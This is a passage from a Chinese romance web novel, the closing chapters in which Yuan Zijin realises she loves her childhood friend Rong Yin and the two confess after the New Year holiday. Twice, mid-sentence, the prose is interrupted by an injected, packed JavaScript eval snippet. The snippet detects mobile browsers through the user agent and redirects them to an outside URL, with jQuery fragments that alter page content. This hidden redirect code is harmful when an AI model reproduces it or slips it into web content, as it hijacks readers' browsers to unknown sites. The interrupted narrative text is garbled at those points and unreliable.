一来二去的,餐桌上的气氛变得轻快,元子衿也短暂地抽离出来,只是重新回到房间,却像是走到一间封闭的考场,关于容吟这道不得不解的试题再次摆到了眼前。 为了将思绪理清,她没再舒服地躺去床上,而且一本正经地坐在了书桌前。 她的房间布局和容吟的差不多,书桌都是置于了窗前,更精准一点说,他们甚至有很多摆件都是相同或者成对的。 不断长大的每个阶段,女孩子对美的理解都会发生改变,即便是两个非常要好的朋友,审美也不会完全一致。 元子衿和简悠悠在外一同逛街时,总会喜欢淘些新奇玩意儿,他们不会因为彼此的关系,就非要买点儿什么成双成对的姐妹款,所以除了出现一致看中的情况外,元子衿要是买了一堆杂七杂八的东西,多半是将剩余的派发给了容吟。 虽然他总是戏称自己就是在收元子衿不要的破烂,但每样到他手中的东西都有被好好存放。 他们之间的关系,就像眼前这些细小的事物,渗入到了对方生活的方方面面,哪怕只是一个转身,都能找到和对方的连接点,也许正是因为随处可见,也许正是因为太过平常,所以反而习惯,反而忽略。 元子衿突然有些庆幸,自己当初有了对容吟是否想谈恋爱一事的猜想,否则她不会觉得别扭,不会感到慌乱,也不会早于容吟真正和其他人恋爱前发现自己的喜欢。 这时,彦希挂电话前的一句话忽然在耳边回响。 “我知道你理清这些问题肯定需要一点儿时间,我有个建议,就是你不要只是单箭头地想,也可以是双向地。” “她这是什么意思?在暗示我吗?单箭头,那就是说想清楚我对容吟的喜欢,那双向……” 记忆像被风吹散的蒲公英,此刻一点点聚拢起来,在那些她能确定自己心意的点滴细节里,似乎也能看出某些蛛丝马迹。 比如昨天,自己说要和周昀去书店后,容吟明显的情绪不佳,但当她再次出现在他眼前时,那双无波无澜的眼睛骤然聚起了光亮。 再比如,那份让她决定要慢慢疏离容吟的绿茶糕。当时,她只假想着他对她的好会随着他恋爱自然终止,却从未深究过为何“未来的女朋友”会介意。 她后知后觉地发现,原来那些让她想要自私霸占的好,从来就不是什么“青梅竹马的情分”,而是明目张胆的例外与偏爱,是连未来女友都会嫉妒的,赤诚的喜欢。 就在今天,短短的数个小时之内,她将这段时间以来困扰着自己的事情全部想了个明白,也得出了两条结论。 第一条,是她喜欢容吟。 第二条…… 和陆倩南打趣时,元子衿可以厚着脸皮,但这件事除了当事人承认外,她还做不到绝对的自信。 最后,第二条结论被她安上了一个不确定的前缀。 很可能,容吟也喜欢她。 25. 第三计划 年关将近,钰龙湾里有不少住户回了老家过年,四人.帮也不例外,但好在都不是路途遥远,车程还是以当天之内的小时为单位计算。 按照惯例,几家人基本都是在初七初八的日子折返,四人再度聚首也会趁着年味还在组织一些活动,然后一同开启补作业环节。 今年,容吟的两个表弟妹新上初一。 初中和小学是两个完全不同的世界,面对陡增的课业难度和快节奏的教学,两人像是突然被扔进深水区的小旱鸭子,扑腾了半个学期才勉强跟上。 初三之前家里人还放任着他们疯玩,到了初四就把两人打包扔进了书房,容吟不想跟着父母挨家挨户走亲戚,监督学习的任务就交到了他头上。 “表哥,这个题怎么做啊?” “哥,这题跟我有仇,我都看三遍了,还是没看懂!” “三长一短选最短,不是吗?” “……” 原本是为了躲清静才选择不跟着出门,结果在家待了几天,耳边更没消停过,司瑛走进书房时就见容吟闭眼按着太阳穴。 “怎么样,小屁孩不好带吧?” 睁眼,入目的是靠坐在桌沿的司瑛,脸上幸灾乐祸的表情毫不遮掩,容吟好气又好笑。 “您是我妈吗?还特意跑过来说风凉话?” 司瑛双手抱臂胸前,神色未改:“如假包换,你要不信,我们明天可以去验验。但你要知道,男人他不一定能确认孩子是自己的,女人可以。” 司瑛偶尔的语出惊人容吟早已习惯,也知道这个时候得顺着她的话说。 “信,我当然信。行了,您别跟我贫了,进来什么事?” “这不是明天就初七了,我来问问你,是打算明天回去,还是后天回去?” 一直埋头做作业,企图隐身不得到任何关注的两个小孩突然吱声。 “瑛瑛姨,表哥不可以晚几天再回去吗?我们作业写得可认真了,还等着他带我们上分呢!” “是啊,瑛瑛姨!” 按常理来说,两个小孩应该管司瑛叫大伯母,但她觉得这个称呼听着特别德高望重,不适合她,于是改成了叫姨。 两个小孩还以为回去这事儿是由司瑛作主,她却只是笑了笑,目光重新挪回容吟身上,“来,给他们表个态。” 她做好了两个小孩噘嘴垮脸得哄人的准备,不成想,容吟的回答叫人喜笑颜开。 “那就晚几天,给你们的奖励要说到做到。” 这个回答有些意外,但又似乎在情理之中。 今年回来过年的这些日子,司瑛看得出来容吟的兴致不高,虽然也会时不时地看看手机,但是低落的情绪无处隐藏。 这个年纪的孩子有心事很正常,学习的困扰,青春期的秘密,未来的畅想,只是她不确定来源是学校还是周围的几个小伙伴。 司瑛没有挑明这些,她相信容吟可以自己处理好,如果他有需要,她可以倾听,再不济,什么事不能交给时间呢? 她拍了拍容吟的肩膀,嘴边的笑始终保持着,“行,我去和你爸说一声,不过你爷爷奶奶知道你要多待几天,肯定特高兴。” · 元子衿一家是初八回的钰龙湾,陆倩南早在年前就和阿姨商定了提前一天做好卫生,他们到家时,屋子里一尘不染。 “把你行李都归置归置,别快开学的时候这个箱子还在原地。” 元子衿的每回外出总是出门前积极收拾,生怕漏下什么没带,到家后行李箱却像是有了封印,能拖多久不碰就拖多久,陆倩南也是每回都得说教几句。 “知道了,妈妈,我躺会儿再收拾。” 回卧室后,元子衿就一头栽进了床里,不知道的还以为回程的一路她是司机。 陆倩南觉得没眼看,把门带上,眼不见为净。 倒在枕头上休息了一会儿,元子衿从口袋里摸出手机,四人.帮的小群十分安静,最后一条消息还是早上八点林沉一吃过早餐后发出的。 【凌晨一点:朕已起驾,待朕归来。】 许是另外三人共有的默契,谁都没有出声搭理这句台词,就连简悠悠出门时的告知,也是私信的元子衿。 返回消息的主页面后,手指不自觉地点开了和容吟的对话框。 这些天,两人聊得很少,甚至话题都没怎么多展开,来来回回的内容无非就是“在干嘛”“吃饭了”“嗯嗯”,看起来十分像一对熬着时间等对方说分手的情侣。 和彦希讨论完的那天,元子衿失眠了一整夜。 她想了很多,想得很细,也愈发觉得自己推出的那两条结论都是正解。原本第二天醒来,她脑子一热就想和容吟打通电话说清楚,可又觉得有些话得当面说才有意义,而且她单方面的疏离也伤害到了两人的友谊,她是一定要认真道歉的。 她兴致冲冲地在手机上准备约容吟出门,却得知他正在安慰失恋的林沉一。 失恋者最大,元子衿选择让步,于是这事儿就压了下来。 再后来,他们又各自回了老家,就这么等啊等,终于等到了今天。 一想到晚些时候她和容吟就能雨过天晴,元子衿的一颗心终于落了地。 “从他老家回来要花多少时间来着?” 元子衿一边嘀咕,一边回想,由于脑子里跳出的答案有好几个,和另外两人的完全混淆到了一起。 她点开之前的聊天记录,在搜索框里输入“我到了”,通过满屏的记录,翻出了疑似容吟去年返程的日期。 点开那条记录,上下翻了翻,推算出了他的返程大概需要六个小时。 元子衿有保留聊天记录的习惯,这很方便她查找一些信息,就比如此刻。 当然,这个习惯也利于翻旧账,往往几人中有谁扬言自己没有说过什么话做过什么事,但偏偏她又有那么一丝印象时,聊天记录就是一台很好的时光追忆机。 虽然容吟今天没有在群里说话,也没有额外联系她,但元子衿猜着他的行程应该和去年大差不差,想了想,决定四五点的时候出门去找他。 · 四点半的时候,闹铃准时响起,元子衿打着哈欠从床上坐起了身。 目视着前方放空几秒,趿拉着拖鞋去了卫生间。 洗把脸后,人清醒了许多,再往衣帽间去时,脚步都轻盈不少。 穿什么去见他好呢…… 元子衿站在衣柜前指尖左右翻动着,纠结来纠结去,最后挑了一件学院风的牛角扣大衣出来。 虽说寒冬腊月里,只有羽绒服才是保命之道,但是待会儿的场合,元子衿还是不想穿得那么臃肿。 在穿衣镜前臭美地照了几番,总觉得还缺点什么,她又翻出一顶麂皮的贝雷帽戴上。 大功告成! 客厅里,陆倩南正在整理带回来的年货,听到楼梯间的动静,随意瞟了一眼,一下定住。 “你打扮得这么漂亮下来干吗?准备参加晚宴啊,我们家今天晚上可就四个菜。” 元子衿眉骨微微凛着,“什么呀,我是要出去。” 陆倩南好整以暇地看着她:“快吃饭的点儿,你上哪儿去?” 两人对话间,元子衿已经走到玄关,她在换鞋凳上坐下,往脚上套着乐福鞋。 “我找容吟有点事,说完就回来。我俩住这么近,你还怕我赶不上饭啊?” 陆倩南觉得元子衿这一身实在是有些庄重,还没多说什么,就见她已经拉开了门。 突然记起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868101|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天和司瑛的闲谈,陆倩南心头一紧,赶忙往门口追了两步,“你回来,容吟他还要过两天才回!” 门外,元子衿已经跟只兔子一样蹿出了院子,陆倩南的话音就这么飘散在了空中无人问津。 · 四个人中,离元子衿家地理位置最近的就是容吟,所以这么些年下来,在小区门口分别以后,总是由他送她到家门口。 两家相隔的距离步程大概是五分钟,跑出院子后,元子衿不自觉地就放慢了脚步。 这是她意识到自己喜欢容吟后两人的第一次碰面,和喜欢的人见面于她而言是一种全新的体验,各种情绪在心头交织。 紧张是因为一会儿就能见到他,忐忑是因为即将要对他说出的那些话,而雀跃,是因为想到他们彼此是相互喜欢的。 她就这么慢慢走着,慢慢走着,可惜事与愿违。 她的紧张,她的忐忑,她的雀跃,全都在那栋没有燃起光亮的房子前戛然而止。 · 元子衿回来时,天色已经暗了几分,比陆倩南预想的晚了些。 出门时那股子欢腾劲儿早不见了踪影,这会儿蔫头耷脑的,活似秋后被霜打蔫的茄子。 “你和容吟吵架了?他没跟你说要晚两天回来? 陆倩南身靠门框,低头看着元子衿换鞋。 “噢,我把他拉黑了。” 元子衿没说假话,在容吟家门口兀自站了片刻,确认里面的确空无一人后,当场就把他拉黑了。 陆倩南摇了摇头,心说还真是小孩子气性。 她拔脚走向厨房,衣角忽然被人拉住,回过头,就见元子衿也不看她,别扭着问:“司姨有没有说他们什么时候回?” 陆倩南笑了:“你不是拉黑人家了,还关心这个?” “我……那是关心司姨和容叔。” 陆倩南懒得再逗某个嘴硬的人,如她所愿的给了答案,“初十。” · 初十一早,元子衿将容吟从小黑屋里放了出来。 拉黑的原因她没提,容吟也没问,两人没头没脑地完成了一组消息的互动。 【青青子衿:到家告诉我,有事找你。】 【熬夜至今:好,快到家联系你。】 再次收到容吟消息时临近傍晚,元子衿正蜷在床上心不在焉地刷剧,手机突然在抱枕旁亮起,容吟的名字跃入眼帘,她一个鲤鱼打挺弹了起来。 “蹬蹬蹬!” 楼梯间自上而下传来一阵急促的脚步声,元明朗端着刚接过水的茶杯准备往上走,一道黑影“嗖”地从身边掠过,带起的风差点没掀翻他的茶盖。 “刚刮过去的那阵龙卷风谁啊?” 随着门页合上发出一声巨响,坐在客厅沙发上的陆倩南努了努嘴,“你闺女呗,前两天精致得能立马上台走秀,今天改走潦草风媲美犀利哥,要是我没看错,她还是披着床毯子出的门,也不知道唱的哪一出。” 元明朗往大门的方向瞅了一眼,摇了摇头,“回头阿姨洗那床毯子的时候就别晒院子里了,不然都该知道那阵龙卷风是从我们家刮出去的。” 陆倩南附和点头:“同意。” · 容吟的时间观念很强,如果他说“我快到了”,那就代表他是真的快到了,而不是其他人的“实际我刚出门。” 进小区以后,容吟就给元子衿发了消息,直到此刻,将将推开院子的铁门,她都没有回复,屏幕的微光照亮了他蹙起的眉头。 站在门前踌躇时,忽然有人用力地叫了一声他的名字。 “容吟!” 容吟循着声音的方向转过身,温热的体温混着淡淡香气撞了满怀。 是元子衿一头扑进了他的怀里。 26. 第三计划 计划的场面中,元子衿应该是穿着一身得体的衣服,踩着淑女的步伐,优雅地走到容吟面前。 这个时节没有花前,这个时间不到月下,但她依然可以靠着诉说少女心事将周遭的浪漫气氛拉满。 可真到了两人碰面这一刻,她完全没有顾上那些虚头巴脑的东西,甚至拖鞋都在跑来的路上掉了一只。 当她灰头土脸地出现,当她看到容吟的一瞬,凭着心底从未有过的悸动,下意识地就上前拥抱住了他。 “你终于回来了!” 一句话脱口而出,哭腔也随之而来,原本还有些呆滞的容吟一下收紧了双臂。 他揉了揉元子衿的脑袋,埋首于她的秀发中,低喃道:“嗯,我回来了。” 或许是因为等待一次又一次地被拉长,或许是生气自己不问他也不主动告知晚归的消息,委屈的情绪在元子衿心头翻涌,眼泪终是不受控制地流了出来。 “我……我等你好久了。” 厚重的羽绒服隔绝了寒风,却没能挡住元子衿眼泪的温度,容吟感觉胸前的那片湿意正透过层层布料,像熔化的蜡油一般刺烫着他的肌肤。 他不知道元子衿所说的等待是从何时算起,也还琢磨不出她态度发生变化的原因,只是一声一声地接着道歉,想要稳住她的情绪。 他们仿佛被隔绝在了时空的缝隙处,秒针停摆,万物凝滞,唯一鲜活的,是彼此交错的呼吸与心跳。 紧密相拥的躯体间,沉默比任何语言都深邃,已然自成宇宙,直到一道突兀的声音穿插进来,划破结界。 “你俩在这儿干嘛呢?” 一句话,登时切断了元子衿往外迸发的所有情绪,鼻涕和眼泪也听话地一同止住。 她从容吟的怀抱里抬起头,看到了从车库出来的司瑛。 车子开进小区前,司瑛本打算先绕到简林两家把年货给送了,容吟不想让元子衿多等,就没跟着。这会儿一回来,见两人在院子的铁门前抱着,走近一看,还都红了眼,诧异道:“这是吵架了,准备和好?” 想到自己刚刚和容吟相拥的画面就这么直接被长辈撞见,元子衿后知后觉地有些羞赧,她低着头,没敢抬眼地打了声招呼。 “司姨好。” 元子衿是穿着一身居家服跑出来的,肩上还披着一条可做披肩的小绒毯,她的拖鞋掉了一只,现下只能窘迫地踩在另一只脚上。 看着她这一副狼狈模样,又联想到近日容吟的表现,司瑛有些怀疑,这两个小鬼怕不是偷偷摸摸谈了恋爱,在闹分手又复合的戏码? “好了,我们衿衿不哭了,吵架而已嘛,大不了就绝交,问题不大哈。” 司瑛从包里抽出纸巾给元子衿擦脸,本还想着再数落两句容吟,往旁边一瞄,哪里还有他的身影,再转过头,这臭小子已经跑过去捡拖鞋了。 拾回那只掉在半路的拖鞋后,容吟蹲在了元子衿身前,他牵过她的手搭在自己肩头,随后托起了那只穿着白色袜子的脚。 袜底沾了些灰尘,他轻轻拍了拍,又捻掉粘在上面的纸屑,这才将拖鞋重新套回她脚上。 做完这些,容吟没有带着元子衿回家,反而是交给了司瑛。 “妈,你先带她回家,我去买个东西。”话落,没等对面开口,容吟再度小跑着离开。 · 跟着司瑛进屋后,元子衿被安排着先去卫生间洗了把脸,看清镜子里自己的形象时,她只觉得天都要塌了。 头发乱蓬蓬地支棱着,像是刚被狂风蹂躏过的小草。鼻尖哭得通红,活像马戏团的小丑。再加上这身毫无搭配可言的潦草装扮…… 苍天,这是什么灾难现场,她究竟是来制造浪漫的粉色泡泡,还是来出演末日丧尸片?这副模样,说是人类文明毁灭前的最后幸存者都有人信! 元子衿重回客厅时,司瑛正在和人打电话,见她一张小脸恢复了白白净净,指了指自己的手机,又指了指楼上,让她随意。 元子衿在一楼环顾一圈,拔脚上了二楼。 二楼有一方小小的会客区,这里曾是堆满容吟玩具的乐园,如今时光流转,那些小汽车和积木早已不见踪影,取而代之的是一张古朴的茶桌和两把藤椅。 往日,她总是径直穿过这个区域,奔向那扇熟悉的房门,此刻,在氤氲的光影里,她选择了在藤椅上坐下。 从在手机上看到容吟的名字奔跑出门,到不由分说地扑向他,再到被带回他家坐在这里,过去十几分钟内发生的事情对元子衿而言简直像做梦一般不可思议。 似乎每一个行为都没有过脑,完全是由着心意在指使。 我就这么喜欢他吗? 手背无意识地触到脸颊,随即被那灼热的温度惊得一缩,元子衿这才意识到,自己从耳根到脖颈都烧得厉害。 “怎么没有进房间?” 一道阴影倏地笼罩下来,容吟的脸毫无预兆地闯入视野,元子衿蓦然一怔,整个世界仿佛被按下暂停键。 两人之间的距离隔得很近,近到能数清彼此的睫毛,近到能在对方的瞳孔里看见自己。 两人一动不动,鼻息都在刻意控制,生怕惊扰了此刻的微妙。 不知是谁先眨了眼,时间重新开始流动,容吟突然直起身,喉结滚动了一下:“这个给你。” 元子衿垂眼,顺着他的手臂往下看,一瓶草莓酸奶正握在手中。 她仰首看他:“你刚刚出去就是买这个吗?” 他回视她:“嗯,以前你说的,如果我哄不好,就用它开个后门。” 冷藏保存的酸奶瓶身已经沾上一些温热,元子衿接过,那只摊开的手却没有收回。 它往前又凑了凑,用意很是明显。 一前一后地走进房间,两人并排坐在了床尾的沙发上,容吟踢了踢脚边的地灯,一束光亮瞬间将他们圈住。 “你今天是要找我说什么?” 容吟的声音有些低沉,此刻却在安静的房间里显得格外磁性。 元子衿用眼神示意了一下两人牵着的手,问他:“就……这么说吗?” 容吟跟着扫了一眼,神色平淡无波地收回,“就这么说。” “我最近……发现了两件事。” 元子衿心跳得很快,嘴上却说得缓慢,余光一直注意着容吟。 “嗯,是什么。” 明明该是一个问句,却让他说出了陈述句的语调。 “我……喜欢你。” 房间里的空调刚打开不久,凉意尚未驱散,容吟却因为这四个字感到一股滚烫的热流自胸腔炸开。像是地壳深处喷涌而出的岩浆,顺着血脉奔流,将指尖都灼得发颤。 “然后呢?” 这回,疑问的语调终于有了。 “你好像……也喜欢我。” 空气骤然凝固,只余挂钟的滴答声在丈量沉默的尺度,就在元子衿快要溺毙在这片寂静里时,容吟忽然低笑出声,眼尾漾起细碎的波纹。 “嗯,挺聪明的。”那语气随意得仿佛在讨论早餐的煎蛋该几分熟。 “就这?” 元子衿蓦地瞪圆了眼睛,顿时,连日来在胸腔里横冲直撞的悸动都化作了委屈。 她一把抄起身旁的抱枕,带着几分恼意掷向那张含着笑意的脸,“你知不知道这些天我……” 容吟没躲,抬手稳稳接住,将抱枕搁在膝头,忽然倾身向前,“元子衿。” 不知何时交握的双手突然被扣紧,相贴的肌肤传来灼人的温度,元子衿对上容吟的视线,这才发现他看似从容的伪装下,藏着怎样滚烫的悸动。 “我喜欢你。” 他望进她眼底,“而且很久很久了。” 不再是那种平静的语气,也不是莫名其妙的话,明明是顺应着她理想的画面在发展,元子衿心头还是因为这句话颤动了一下。 “一开始,我也不能确定自己对你的感情是喜欢还是长期陪伴造成的错觉,所以我需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874539|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花时间去想,去验证。可是后来,我觉得感情本就是没必要想得太清楚的一件事,何况你在这方面也没有开窍,那我就先继续维持原状,我相信时间会给我答案。” 他的情绪由她牵引,他的行为受她影响,在那些看似静止的时光里,这份隐秘的喜欢如同深藏蚌中的珍珠,被岁月的潮汐反复打磨,日渐莹润生辉。 所幸命运终究仁慈,当蚌壳轻启的刹那,映入眼帘的是另一双盛满笑意的眼眸。 · 暧昧的气息在空气中流转,指尖仍被掌心的温度所包裹,就在元子衿以为下一秒即将坠入甜蜜的漩涡时,容吟忽然眯起眼睛,语气里带着危险的温柔,“现在,是不是该算算账了?” “……啊?” 元子衿一时没反应过来,眉头微蹙,方才的旖旎氛围瞬间被搅乱。 容吟慢条斯理地捏了捏她的指尖,唇角微扬:“说说吧,你既然发现自己喜欢我,那最近疏离我又是因为什么?” 如此浪漫和悸动的时刻,他居然秋后算账? 要不要这么煞风景啊! 元子衿在心里短暂地愤愤和叹息过后,干脆利落地将手抽出。 “你还记得刚开学的时候,悠悠问你有没有想法谈恋爱时,你怎么回答她的?” 时间的跨度一下往前跳了数月,容吟过了会儿才回复:“随遇而安。” “一切的根源就是这四个字。” 既然已经互明过心意,元子衿也不再藏着掖着,将从这四个字起,之后计划的全部历程都细说给了容吟。 “所以你没有立场找我算账,因为这都是你的锅。” 对于元子衿单方面宣布的结论,容吟没能忍住一笑,“那你知道我当时为什么要这么回答吗?” “哼,还能为什么,说不定你就是有想法了呢!” 容吟坦然点头:“嗯,我是有想法,想知道某个人知道以后会是什么想法。” 元子衿目不转睛地盯着他:“你是想试探我?可你怎么知道当时我也在听电话?” 容吟没有答复,元子衿却突然记起一个细节。 当时简悠悠发出提问后,容吟想了许久才给出答案,所以他当时是真的在思考,还是纯粹拖延时间? 如果是后者,那目的是什么? 而他又是凭着什么确定她一定在听那通电话? 脑子灵光一闪,元子衿想到了原因。 “你是通过那一声整点报时来判断的?” 容吟摸了摸她的头,一副孺子可教的模样:“还不算太笨。” 元子衿房间里的那个挂钟是她在逛街时淘来的,还让容吟特意给她在早上六点后至晚上十点前设置了区段性的整点报时。 “可如果当时不是恰好整点呢?” “不是也没关系,她知道了肯定你也会知道,只是当时我想赌一下,赌你能听见。” 元子衿呼吸一滞,终于败下阵来,没忍住小声嘟囔:“你这个人还真是……” 元子衿的手在不知不觉中又被容吟放回掌心,随后,她听到他问:“现在所有话都讲开了,你打算怎么办?” “什么怎么办?” “比如,给我一个名分?” 容吟太聪明,元子衿感觉自己根本玩不过他,眼下更是不想助长他的嚣张气焰。 她微微偏头,故意拖长了语调:“唔——我的回答也是四个字。” 容吟挑眉,好整以暇地看着她,“你说。” 元子衿勾了勾手指,待容吟靠近,她在他的耳边轻轻呵气:“来、日、方、长。” 最后一个字尾音上扬,她像只得意的小狐狸。 她才不要这么轻易地给他甜头,必须打压一下。 容吟笑了,不为其他,只因为这四个字也是一种美好的祝愿。 他和她已经一起走过那么多岁月,接下来的路才刚开始。 他们,来日方长。 -正文完-